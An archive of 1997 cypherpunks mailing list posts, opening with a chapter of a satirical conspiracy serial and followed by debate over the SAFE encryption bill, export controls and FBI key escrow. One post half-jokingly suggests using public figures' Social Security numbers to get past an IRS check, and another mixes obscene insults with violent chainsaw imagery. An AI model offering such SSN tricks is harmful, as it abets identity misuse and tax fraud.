To: cypherpunks@toad.com
Subject: InfoWar 22 / TEXT
Message-ID: <342BCBEB.4B28@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Forever Young

----------------------------------------------------------------------------

                                Forever Young
----------------------------------------------------------------------------

Alexis and Jonathan were resting in each other's arms on the couch by the
old oak table, and quietly discussing the wide variety of posts to the
CypherPunks mailing lists in the wake of the House Commerce Committee's
defeat of the Oxley amendment to the SAFE bill and their approval of the
Markey-White amendment, instead.

"It seems strange that the our future destiny is so deeply intertwined with
events that happened over a century ago." Alexis said.
"It seems even stranger," she continued, "that our past is being
transmogrified through the InformEnergy we are exchanging with that era
through the Trei Transponder."

"Not to mention the present..." Jonathan added, showing her the post he had
just pulled up on the GraphiScreen behind them.

Subject: FWD: Dear Representative Oxley
From: Anthony Garcia <agarcia@Starbase.NeoSoft.COM>
To: cypherpunks@Algebra.COM

For what it's worth. -Anthony

Date: Wed, 24 Sep 1997 17:47:37 -0500 (CDT)
From: Anthony Garcia <agarcia@Starbase.NeoSoft.COM>
To: Mike.Oxley@mail.house.gov
Subject: Dear Representative Oxley

At this time, it looks like your ignorant, anti-Constitutional
amendment to the Safety And Freedom through Encryption Act will be
passed by the Commerce Committee. This legislation may go on to
be passed by Congress and signed into law by the President.

In case this occurs, I would like you to make note of my home
address and telephone number. They are:
Anthony Garcia
[address & phone elided for broadcast on cypherpunks list]

If I move to a new address in the future, I will update you.

I telling you this because I fully intend to willfully break
your stupid law exactly 1 minute after the moment it goes into
effect on January 1st, 1999.

I will:
- Manufacture an encryption product that does not support key
escrow (I will compile source code for encryption software
which does not support key escrow.)
- Offer to sell that encryption product to any takers for
the sum of $1.
- Offer that encryption product for free to the public via FTP or HTTP
file transfer over the Internet.
- Import an encryption software product which does not support
key escrow by means of file transfer over the Internet from
a foreign source.

So, get ready to arrest me, Big Mike. Get out your old FBI shield and
shine it up, because I AM GOING TO BREAK YOUR LAW. GOT IT?

Sincerely,
-Anthony Garcia
agarcia@neosoft.com

P.S. When you have some free time, look up a document known as the
"Bill of Rights", and review the sections titled "First Amendment" and
"Fourth Amendment".

Alexis gazed at the post with interest, but seemed mystified as to what
import it had for the Magic Circle's present situation.
"I don't remember seeing this post in the archives we went over yesterday,
but it certainly doesn't to seem unusual for the CypherPunks list."

"It wasn't in the mailing list archives yesterday." Jonathan told her,
waiting for the import of what he was saying to begin sinking in, as
evidenced by Alexis's ever-widening eyes, before continuing.
"All of the posts that were in the archive yesterday are either nonexistent,
or changed, when compared to emails we're pulling from A Player To Be Named
Later's digital implant through the Trei Transponder."

Bubba and Priscilla walked up, hand in hand, joining in the conversation.
"If you check the archives you will find," Bubba said solemnly, "that the
Oxley amendment to the SAFE bill passed on September 14, 1997."
After taking a sharp elbow to the ribs, Bubba added, grinning, "We have
Priscilla to thank for pointing out this most interesting anomaly in the
fabric of history, as we seem to currently be experiencing it."

"Bubba told me I was confused." Priscilla said, gloating at her correcting
of the Magic Circle's most prestigious purveyor of ancient history.
"He said that I must have read in the CypherPunks list archives about the
Oxley amendment being passed at a later date, since it had been one of the
turning points in history in the battle for control of the InterNet. I told
the old fart," Priscilla said, as Bubba now nudged her in the ribs,
"to...'check the archives.'"
Jonathan and Alexis laughed at her imitation of Tim May, circa. 1990's.

"Nuke DC!" the Cowboy approached, waving a handful of freshly printed posts
from their current subscription to the CypherPunks mailing list of a century
earlier.
The Cowboy had resurrected some old printers that Melissa had smuggled out
to him from the closely guarded Museum of Antiquities. d'Shauneaux had
brought them back from one of his midnight meetings with her the previous
week.

Subject: Re: SAFE = Security and Fascism through Escrow
Date: Thu, 25 Sep 1997 10:00:06 -0400 (EDT)
From: Ray Arachelian <sunder@brainlink.com>
To: cypherpunks@Algebra.COM

On Wed, 24 Sep 1997, Tim May wrote:
> As our Big Brothers in D.C. continue to abuse the language by taking SAFE
> in a direction 180 degrees from the original intentions, it seems only
fair
> that we rename the bill the Security and Fascism through Escrow Bill.

Erm, Tim you've somehow managed to misspell SODOMY. There's no securiy in
SAFE, by definition, it's a security hole through which the citizens get
sodomized.

==============================Kaos=Keraunos=Kybernetos==================
.+.^.+. | Ray Arachelian |Prying open my 3rd eye. So good to see |./|\.
..\|/.. |sunder@sundernet.com |you once again. I thought you were |/\|/\
<--*--> | ------------------ |hiding, and you thought that I had run |\/|\/
../|\.. | "A toast to Odin, |away chasing the tail of dogma. I opened|.\|/.
.+.v.+ .|God of screwdrivers" |my eye and there we were.... |.....
======================= http://www.sundernet.com ==========================

The Cowboy announced, grandly, "There is no record in the archives which
shows any indication that the SAFE bill became generally known on the
CypherPunks list as the 'Sodomy And Fascism through Encryption' bill, as now
seem to be happening."

The Cowboy showed the group a color printout of the new SAFE T-shirt being
produced by Adam Back, with a Swastika and the word 'SAFE' composed of a
series of toilet plungers.
"Bill Stewart suggested to Adam that it be a 'scratch and sniff' T-shirt,
but Back pointed out to him that SAFE was already beginning to smell bad to
an increasing number of people, anyway."

The small group shared a chuckle or two, as the Cowboy continued.
"In addition to the challenge issued to Oxley by Anthony Garcia, and the
posts by May and Arachelian, which didn't exist in our recent previous
past...if that makes sense...I have found that even the posts that do exist in
the archives are not the same as the ones we are currently receiving from
that same point in time.
"There has been a subtle quantum shift in the tone and direction of the
posts to the CypherPunks list, as well as to the rest of the history
surrounding the InterNet during that crucial nadir point in the InterNet's
evolution."

The Cowboy pulled out a bottle of Jim Beam and passed it around the table...an
indication that he was about to drop a bombshell on his compatriots. After
everyone had downed a stiff shot of the ice-cold bourbon, he asked, "What
did we all agree were two serious errors in Chapter 20 of 'InfoWar.'" he
asked the others.

Alexis was the first to speak.
"Well, in general, we agreed that it was a ridiculously overdone parody of a
conspiracy theory worthy of ? the Lunatic's deranged mind."

"In specific," Jonathan added, as the group laughed, once again,
"attributing the chapter as being written by Bill Gates, wherein the man
purportedly connects himself to one of the sleaziest maneuvers in the
history of the perversion of democracy and justice, then proceeding to make
it look as if he had cowardly submitted to blackmail by the anonymous post
that linked him to the original Indio gathering of weapons dealers, as well
as the thinly veiled threat of violence to 'a billionaire to be named
later.'
"Not even the most unbalanced of the CypherPunks list members was likely to
fail to see this as a shallow attempt at smearing Gates by making it look as
if he had taken up the challenge that ? the Lunatic had sent anonymously
through the TruthMailer as A. Fiend, to write his own chapter of 'InfoWar,'
revealing some dark secret from his past, and asking him to provide some
real, but improbable evidence of his authorship by making reference to some
future event, based on his own inside information."

The group nodded in agreement with this statement by Jonathan, and then
Alexis brought up the second major inanity the group had found in the
'InfoWar' chapter titled, 'A Billionaire To Be Named Later.'

"We agreed that it was a pretty wild stretch to intimate that an LMBoyd
sampler sent out two months before was a veiled message from the Circle of
Eunuchs to the Internet Content Coalition warning them of a serial
killer/mass murderer from the north, where ? the Lunatic and polar bears
live.
"Although the timing of the mentioned email was rather synchronous with the
Coalition's agenda..."

The Cowboy broke into a wide smile, asking the others, "Did anyone happen to
read the LMBoyd sampler for July 25, 1997?"
The others looked at one another questioningly, each nodding negatively.

The Cowboy lay a post in front of the group, which they proceeded to read
with amazement.

Subject: Sampler: September 25
Date: Thu, 25 Sep 1997 00:15:01 -0700
From: sampler-request@lmboyd.com
To: multiple recipients of <sampler@lmboyd.com>
======================================================

Tennis players might quote Shakespeare's Henry VI: "O
monstrous fault!" Basketball players, Henry V: "Hear the
shrill whistle." Bowlers, The Tempest: "Mercy on us, we
split." Golfers, King John: "Give me an iron." Baseball
players, Othello: "You did bid me steal." Hockey players,
A Midsummer Night's Dream: "Gentle Puck, come hither."

Great horned owls lay round eggs.

  1. Did the Eskimo of old believe in God?
     A. They did. They thought God, the Supreme
     Environmentalist, created polar bears to prevent humans
     from over-multiplying. So they wouldn't eat up everything
     in one season.
     ==============================================
     LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
     http://www.LMBoyd.com/postscript.htm

"This was sent out after chapter 20 of 'InfoWar' had been sent to the
CypherPunks list." Bubba commented.
After checking the date and time that chapter 20 had been sent, he said,
sounding even more perplexed and amazed, "A little more than a single hour
afterward."

The Cowboy let each of them read the post, once again, to confirm for
themselves what secrets it revealed.

"Fucking unbelievable!" Jonathan exclaimed.
"The 'A Billionaire To Be Named Later' chapter is not only followed shortly
thereafter by a completely unrelated item which contains not only a
confirmation of the claim of Circle of Eunuchs involvement in the LMBoyd web
site, but even expands on it, by adding the reference to hockey players,
such as the Author, as well as a repetition of the theme wherein polar bears
hunt and consume humans."

"And adding a reference to 'horned owls' dropping 'round eggs'?" Alexis
noted, looking at the others for confirmation she wasn't imagining things.
"Nukes?"

Bubba Rom Dos, poet and philosopher, also pointed out that the LMBoyd
sampler began with a reference to Shakespeare, and that the last quote
attributed to A Player To Be Named Later in the chapter attributed to Gates
was a reference to Shakespeare being a member of the Magic Circle-a distinct
impossibility.
"Thus, the author of chapter 20 could only have been using that analogy to
set up the confirmation by the later LMBoyd sampler that the Circle of
Eunuchs was involved in the use of the samplers to pass messages.

Jonathan asked the question that everyone was now rolling over in their
mind.
"What does this do to our other conclusion, that the chapter was not
authored by 'Bad BillyG,' himself?"

The Cowboy sat down and knocked back another shot of Jim Beam, as the Trei
Transponder began to quietly hum in the background. It was causing something
tucked away in the back of the Cowboy's mind to begin resonating, and he
struggled to bring it to the forefront of his consciousness where it could
be examined in the light of reason...

"A Player To Be Named Later had no connection to the LMBoyd web site." the
Cowboy stated emphatically, surprising the others, who were lost in their
own contemplation.

The Cowboy looked at each of the others, in turn, and announced, "But Gates
did!"
----------------------------------------------------------------------------

A Player To Be Named Later lay on his bed, Baby lying by his side and
looking up quizzically at him, wondering about the soft humming noise coming
from her friend's head. He reached down and stroked her on the back of the
neck, saying,
"Modern technology, Baby. Someday I'll get you a digital implant, too, so
that you can bark at the doggies of the future."

He laughed and rose to get Baby a bowl of milk.

BillyG had done his homework, that much was certain. And the man had added
some personal touches to chapter 20 of 'InfoWar' that would have done
justice to even the most diabolically astute members of the legendarily
insane conspiracy of the slippery, esoteric--and definitely mythical--Circle
of Eunuchs.

He had immediately noticed BillyG's reference to the Shakespeare line from
the first sentence of the last chapter of "The Xenix Chainsaw Massacre."
Having the quote, "And one man, in his time, plays many parts." spoken by A
Player To Be Named Later was an obvious implication that he and the Author
were one and the same person. Keeping the 'true identity' of the Author 'in
play,' as Bubba called it, was a Circle of Eunuchs tradition.

As well, the last chapter of TXCSM, titled 'it ain't over 'till it's over,'
contained a reference to the "He who shits on the Road will meet flies on
his return." quote, which was a usual part of the TruthMailer header, but
was not included in the TruthMailer email which had originally challenged
BillyG to write a chapter for 'InfoWar.'
That TXCSM chapter also made reference to Pearl Harbor Computers motto,
"We've been bombed since 1941.", which meant that the Magic Circle had been
brought full circle to closure by the veiled reference to the nuclear bomb
in the follow-up LMBoyd sampler which served to confirm the details of the
chapter 20 reference to a previous LMBoyd sampler.

"And the ending of the second sampler," he told Baby, who was listening
intently, "with a direct reference to the polar bears mentioned in the one
from two months before...a fucking classic in-your-face Circle of Eunuchs
maneuver that says everything and proves nothing!"

The timing of the confirmation post was likewise a classic maneuver. Anyone
who went to the trouble of checking the timing of chapter 20 and the
following LMBoyd sampler could easily miscalculate different time zones
involved and come to the conclusion that it was a clever ruse, but those who
were familiar with headers and time zone references in InterNet processing
would know beyond doubt that chapter 20 had been submitted to the list
previous to the release of the LMBoyd sampler.

The Coupe de Gras, of course, was that chapter 21 of 'InfoWar,' which was
titled 'Lying Fucking Nazi Cunt Sex Criminal,' and which had its authorship
attributed to the President, quoted another email which had been posted to
the CypherPunks list before the House Commerce Committee's meeting on the
Oxley amendment to SAFE, as well as sent to over a hundred Congressmen and
Senators, and which alluded to an argument that would be raised during the
closed meeting-a fact which would be later confirmed by those in attendance.

The chapter itself intimated that this precognition of a later event might
be attributable to guessing the probable from previously available
information, even if it was a bold long-shot, but anyone who understood the
full import of the reference to the 'Forever Young' Eternity Server and the
demise of the Huge Cajones remailer would know beyond doubt that the author
of chapter 21 had access to information that came from deep within the walls
of the Whitehouse.

The ending of chapter 21 with the reference to the coming assault on Intel
might be viewed as information that could have leaked out before chapter 21
was written, but anyone who reread the passage a month or so in the future
would see the reality of what was being implied in the description of the
true agenda of 'total information control' being pursued by the dark powers
within the Whitehouse and the government intelligence agencies pulling the
President's strings.

"Two perfect chapters, Baby." A Player To Be Named Later knocked back a shot
of Scotch and rolled himself a cigarette.

"Anybody who checks the true facts involved in their creation and
distribution will prove to themselves, beyond all doubt, that their
authorship and their wild-eyed claims are exactly what the manuscript
purports them to be."
He laughed and threw Baby a chocolate chip cookie in appreciation of her
rapt attention to his maniacal monologue, and gave her a conspiratorial
wink.

"Yet," he continued, "just let them try to tell someone else of their
discovery...they will find them self running from the men with the butterfly
nets, in short order."

"But," A Player To Be Named Later continued, laughing diabolically, "they
ain't seen nothing, yet!"
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Fri, 26 Sep 1997 21:32:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exports and criminalizing crypto
Message-ID: <199709261309.GAA17871@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



[lot of snipping]
Adam Back <aba@dcs.ex.ac.uk> writes:
> 
> John Smith <jsmith58@hotmail.com> writes:
> >
> > That's easy for you to say, there in England.  You don't have these
> > export controls, right?  
> 
> We have different export controls.  You can export what you want
> electronically right now.  And, so I hear, the exporter is defined as
> the person who downloads from your web site, so lots of hits from Iraq
> is no problem.  Start to talk about tangible things and you require a
> license. 
 
> Adam

This is my favorite example of the Kafka-esque absurdity of
export controls

>From England, I can export strong crypto electronically with no 
problem. The same crypto, printed as source code, is restricted.

>From the US, I can export printed strong crypto with no problem.
The same crypto, in electronic form, is export restricted.

Both sides claim to have a rational, well-thought out policy.

Peter Trei






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 26 Sep 1997 22:00:21 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
In-Reply-To: <Pine.GSO.3.95.970925115935.1676I-100000@well.com>
Message-ID: <199709261331.JAA07462@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



This may go against your religious wishes, but listing your children
with SSNs of public figures may allow you to bypass the IRS computer
that checks if the child has a valid SSN listed, without getting SSNs
that 'belong to' your children.

"Yes, I did name my children Richard Nixon and Bill Clinton, in the
hopes that they'll grow up facist."

Adam


Declan McCullagh wrote:
| 
| 
| ---------- Forwarded message ----------
| Date: Tue, 23 Sep 1997 08:12:58 +0000
| From: "David C. Treibs" <sirdavid@ktc.com>
| To: "(David C. Treibs)" < (SirDavid@ktc.com)>
| Subject: Need Help with IRS Problems
| 
|                                         David C. Treibs
|                                         Fredericksburg, TX 78624
|                                         sirdavid@ktc.com
| 
| Hi.
| 
| We are in trouble with the IRS, and we need help.
| 
| For religious reasons (explained below), we do not have Social Security
| numbers for our children, the oldest of 4 being 5 years old.
| 
| Last year we sent in our return, as we have always done, without SSNs
| for our children. My wife and I do have social security numbers, and we
| sent those. IRS sent us a letter saying they were disallowing our
| exemptions since we had no SSNs for them. They gave us the opportunity
| to contest their disallowance, which we did by sending them our
| children's birth certificates; and letters from our parents, and a letter
| from our pediatrician, stating the children we claimed were indeed our
| children and our dependents. We don't have a problem proving that we are
| claiming legitimate dependents.
| 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 27 Sep 1997 01:02:22 +0800
To: Declan McCullagh <cypherpunks@Algebra.COM
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007811b05179a2663f@[204.254.22.23]>
Message-ID: <v03102806b05190a21a92@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:41 AM -0700 9/26/97, Declan McCullagh wrote:
>[CDT's Jonah Seiger copied this message to my editors. I'm still waiting
>for him to answer my questions. --Declan]

Let us know what happens. I'd guess that your editors do nothing. Not
exactly a fireable offense. Your messages to Cypherpunks or
Fight-Censorship may differ in tone from your articles in "Time" or other
fora. This is natural, it seems to me.

The larger issue is that the CDT/VTW "players" are showing their
willingness to trade away the civil liberties of us all for a few minor
tidbits thrown (they think) to corporate sponsors.

Washington is a city based almost exclusively on theft. It feeds off the
rest of the country, indeed, the rest of the world. It thrives by
collecting tribute. The more laws it can generate, the more tribute, and
the more power it has. Like the other famed imperial capitals,  the only
game in town is politics. Meaning, how to collect and distribute money.

Those who work near Washington tend to get pulled into this power vortex.
They become functionaries, advisors, consultants, lobbyists, or even,
sometimes, elected politicians themselves.

This is probably why EFF belatedly realized that their soul was being lost
and got the hell out. That so few news magazines delved into this is
telling.

I think a major expose of the "cyber liberties" lobbying groups in
Washington is needed. Where they get their funding, what their real goals
are, why they are so willing to compromise on basic liberties. Maybe you
will write it, Declan.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 27 Sep 1997 00:06:37 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007811b05179a2663f@[204.254.22.23]>
Message-ID: <342BD67D.3346@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> [CDT's Jonah Seiger copied this message to my editors. I'm still waiting
> for him to answer my questions. --Declan]
 
> Declan --
> 
> If you are curious about what it is about your style that bothers CDT so
> much, start with this hostile, accusitory message posted to a public list
> (in this case, cypherpunks).
...

  Upon reading CDT's last offering to the CypherPunks list, I was trying
to figure out how to write a half-civil post telling them they had their
head up their ass.
  When I read Declan's post, I decided that he had already taken care of
the matter in a much more civil way than I could ever hope to.

  Since these fucking idiots seem to be scratching around in their ears
after picking their asses, thereby leaving deposits which interfere with
their hearing, I will take the time and trouble to point out a few
things for their edification.

  For starters, after reading the nonsense that the CDT spammed the list
with, I wondered if they were stupid, illiterate or both, since they
don't seem to be able to follow either the details of what is happening
with regard to the SAFE legislation and its variations, nor form a clear
concept of the real issues involved.
  I would suggest that if CDT is going to purport to be some sort of 
news/information source, that they invest in a fucking dictionary and
keep it on Seiger's desk. 
  I would further suggest that if Jonah is incapable of supporting his
vague claims of unjust attack by Declan, that he reread Declan's post
with an eye toward learning how a real journalist provides solid details
and examples to express his message and the stance he is taking.

  I have yet to read a CDT release which I do not have to reread to 
confirm my suspicion that the excess, confusing verbosity that is
employed seems to serve mostly to mask the fact that they are both
misrepresenting the facts and misleading those who trust them to
properly outline the issues involved.

  In short, I would be very surprised if CDT's dicks don't smell
suspiciously like Freeh's asshole.
  I will refrain from commenting on making a similar analogy to
Freeh's tongue and CDT's assholes, as it might be in bad taste.

  I am beginning to think that democracy might have a better chance
of having some life breathed back into it in America if someone with
a chainsaw were to do some selective clear-cutting to remove the
deadwood in the plethora of organizations that have the audacity
to proclaim their compromises with fascism as the defense of 
democracy. (Can you say 'CDT'? Sure you can...)

Toto
~~~~
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn
"InfoWar"
http://bureau42.base.org/public/infowar3





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 26 Sep 1997 16:06:37 +0800
To: David HM Spector <spector@zeitgeist.com>
Subject: Re: Chutzpah!  FBI Calls Privacy Extremists Elitist
In-Reply-To: <199709260354.XAA01881@wintermute.ny.zeitgeist.com>
Message-ID: <Pine.BSF.3.96.970926095550.24829B-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 25 Sep 1997, David HM Spector wrote:
> FBI Calls Privacy Extremists Elitist
> (09/25/97; 4:30 p.m. EDT)
> By David Braun, TechWire 
> The absolute positions "handcuffed" law enforcement while also raising
> rights for citizens to levels that were unreasonable and that would
> have been foreign to the nation's founding fathers.
[...]
> Extremists presumed that the citizens could not trust the elected
> government and the Supreme Court to make decisions or to correct
> mistakes if any are made, McDonald said.

Somebody please tell me that this is a forged quote.... We are now
"privacy extremists"? What's next? "Privacy militia"?

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 26 Sep 1997 16:17:28 +0800
To: Martin Minow <minow@apple.com>
Subject: re: Chutzpah!  FBI Calls Privacy Extremists Elitist
In-Reply-To: <v03102801b05110c4e302@[17.219.103.63]>
Message-ID: <Pine.BSF.3.96.970926100540.24870A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 26 Sep 1997, Martin Minow wrote:
> 
> This reminds me of the state legislature that tried to change the
> value of pi to something simpler in order to help students
> struggling with their homework. Fortunately, someone had the
> good sense to bring in a "knowing mathematics cognoscenti" to
> pound some sense into the politicians.

The University of California, now prohibited from making race a factor in
the admissions process, is currently proposing to ignore SAT scores
altogether to improve minority enrollmnent...

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Hall <hall@counterpane.com>
Date: Sat, 27 Sep 1997 00:34:30 +0800
To: cypherpunks@cyberpass.net
Subject: Peter Landrock's CRYPTO 97 rump session
Message-ID: <199709261614.KAA00562@asylum.cs.colorado.edu>
MIME-Version: 1.0
Content-Type: text/plain




I know that many of you attended this years CRYPTO and probably went to the
rump session too.  Does anyone remember the details of Peter Landrock's
presentation?  If I recall correctly, he presented an amusing talk in which
an attacker tried to blackmail a bank by claiming knowledge of the bank's
RSA private exponent.  He did this by revealing successive bytes of the
exponent starting with the most significant.  The ransom doubled with each
successive byte revealed (and I believe he got up to 52 in his example). 
The catch was that any person can do this for the first X number of bytes
of the exponent *without actually knowing d* (where X varies depending at
least upon n).

What I would like to know is what the details of the attack were:

1)  Am I out of my mind and there was no such attack?

2)  Given an RSA modulus n and public exponent e, can someone determine the
    X most significant bytes of e (presumably X is less than half of the
    byte length of e)?

3)  If so, what are the restrictions on e?  Are there choices of e which
    make this attack infeasible?

4)  If so, does one get only the most significant bits of d that are
    non-zero (i.e. if d=0x0078... then one gets 0xF000 back as the result)?
    Or does one actually get the "length" of d (i.e. log_2(d) can be
    derived)?

Please post any response to the list (so other people can have the info),
but please Cc me too.  I am subscribed to a filtered version of the list
and may not see the reply.

							Thanks,
							Chris Hall





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 23:03:42 +0800
To: cypherpunks@toad.com
Subject: USA Today on encryption; FBI's Louis Freeh responds
Message-ID: <v0300780eb05175425ea4@[204.254.22.23]>
MIME-Version: 1.0
Content-Type: text/plain




-----------------

Subject:          USA Today/Freeh
   Date:          Fri, 26 Sep 1997 09:08:05 -0400
  From:           Dave Banisar <banisar@epic.org>


USA TODAY

Our View

September 26, 1997

Computer privacy at risk if FBI gets the codes

   Thinking about protecting your computer files with high-quality
encryption?

   Well, act fast. The FBI is out to stop you.

   Not only will you get less security if the agency gets its way,
but you'll pay more for software to protect your personal financial,
medical and other records.

   Until now, restrictions on good encryption technology have covered only
exports. But the agency wants to outlaw the making, sale
and distribution here of all codes it can't break. It would require
any firm offering such programs to hand decoding keys over to
third parties so the FBI and other agencies could get hold of
them without your knowledge.

   It's the electronic equivalent of demanding that Americans put
copies of all their records in some federal depository.

   One House committee has passed the FBI plan. Another committee
failed this week to insert it in a bill aimed at lifting export
curbs. But more attempts are sure.

   The FBI says encryption controls are for your security. Otherwise, drug
lords and terrorists can hide behind strong encryption to
evade the law. In fact, lack of powerful encryption programs is
leaving the vast majority of Americans far less secure.

   That's because of the existing restriction on exports. U.S. software and
computer makers find it too costly to make one product for
here and another for export. So, they don't provide the best encryption
possible.

   The Justice Department reports computer security breaches cost
U.S. business and consumers $ 7 billion a year. And domestic software and
computer makers are losing sales to foreign firms. Estimated
price tag by 2000: $ 60 billion a year, 240,000 jobs.

   Domestic limits would only add costs. The Congressional Budget
Office estimates that buyers will pay $ 5 to $ 10 more for software,
up to $ 2 billion a year, to implement the FBI's system. And 11
of the world's top cryptographers in May warned that the FBI plan
creates targets for criminals by establishing centers where billions

of secrets are held.

   And for what? Smart crooks easily can evade police efforts by
using unbreakable foreign encryption available over the Internet
or by removing incriminating evidence by pressing their computer's
delete key.

   The National Research Council, in an 18-month study for Congress,
suggested a better course for government to meet everyone's security
concerns:

   -- Provide law enforcement money to study surveillance alternatives.

   -- Ease the curb on encryption exports.

   -- Leave domestic encryption alone.

   In plain, unencrypted text: Don't stop Americans from protecting
themselves.
----------------------------------------------
USA TODAY

Let law keep weapons

Louis J. Freeh


   In this time of electronic commerce, e-mail and private information
routinely stored in computers, the availability of powerful encryption is
essential. No one in law enforcement disputes that.

   All of law enforcement is also in total agreement on one aspect
of encryption: The widespread use of uncrackable encryption will
devastate our ability to fight crime and prevent terrorism. It
will render two of our most important investigative techniques,
court-ordered electronic surveillance and search and seizure,
a nullity in many instances.

   Without a balanced approach that accommodates commercial interests,
privacy and public safety concerns, criminals and terrorists will
be able to shield themselves from court orders used to obtain
critical evidence and prevent the worst crimes.

   How important are the techniques? Law enforcement used electronic
surveillance to disrupt terrorists mixing bombs to blow up buildings
and assassinate political figures. A computer was used to store
evidence of a plot to blow up 11 U.S. airline flights. Police
use electronic surveillance to combat drugs, gang violence and
kidnapping.

   Indeed, state and local law enforcement authorities account for
50% of all the electronic surveillance court orders in the United
States. These are what will be lost if, despite valid court orders,
law enforcement is unable to decrypt that which criminals have
encrypted.

   We are not asking that advances in encryption be abandoned or
that privacy rights be threatened. Nor are we asking for any increase in
law enforcement's authority to intercept people's conversations.
We only ask that the careful balance of the Fourth Amendment not
be inadvertently tipped in favor of criminals and terrorists in
the rush to satisfy the marketplace.

   Many companies are urging Congress to let them determine the extent to
which public safety is protected and have expressed a desire
that government be more sympathetic to their commercial needs.
These potential life-and-death issues are too important to leave
solely to market forces that respond to important but unrelated
interests.

   Good and sound public policy decisions must be made now by Congress. We
remain hopeful that, as legislation is crafted, it will not
ignore the pleas of law enforcement but instead will preserve
that careful balance that has been so meticulously maintained
for the past 200 years.

   Louis J. Freeh is director of the FBI.


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sat, 27 Sep 1997 02:15:25 +0800
To: cypherpunks@cyberpass.net
Subject: re: Chutzpah!  FBI Calls Privacy Extremists Elitist
In-Reply-To: <v03102801b05110c4e302@[17.219.103.63]>
Message-ID: <v03010d03b0519eb19ed9@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:18 AM -0700 9/26/97, I wrote:
>> ... Extreme privacy
>>positions were ultimately elitist and nondemocratic in that they
>>presumed the views of a knowing privacy cognoscenti should pre-empt
>>the views of the nation's elected officials and the Supreme Court,
>>McDonald said.
>
>This reminds me of the state legislature that tried to change the
>value of pi to something simpler in order to help students
>struggling with their homework.

Before we go too far down the "stupid politicians" path, I would
like to clarify what I was attempting to say.

Cryptography is mathematics; it exists in the real world. Legislating
against cryptography will, ultimately, be as effective as changing
the value of pi by legislation or passing a Papal edict that the
the earth is the center of the universe. Pass whatever edict you please:
"and, yet it moves."

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 22:56:33 +0800
To: cypherpunks@toad.com
Subject: Congress to compromise away crypto-rights, from ComDaily
Message-ID: <v0300780fb0517712cbbe@[204.254.22.23]>
MIME-Version: 1.0
Content-Type: text/plain



[From ComDaily, a Washington trade publication. --Declan]

---

Markey/White Prevails

HOUSE PANEL APPROVES ENCRYPTION BILL IN REBUFF TO CLINTON, FBI

[...]

Rules Committee Chmn. Solomon (R-N.Y.) originally had
co-sponsored bill, then dropped off and urged rejection of
Goodlatte measure, declaring it harmful to national
security.  He said in letter to Commerce Committee members
that bill wouldn't get to House floor unless it includes
provisions with "crucial key recovery language" similar to
those in Oxley-Manton proposals and in Intelligence
Committee.  Spokesman said that while Rules panel could
send any version it wished to floor, Solomon wants to try
to work out compromise that recognizes national security
concerns.  Panel spokesman said Goodlatte should "be more
flexible and work out" differences with Intelligence
Committee.  Intelligence Chmn. Goss (R-Fla.) also is on
Rules Committee.

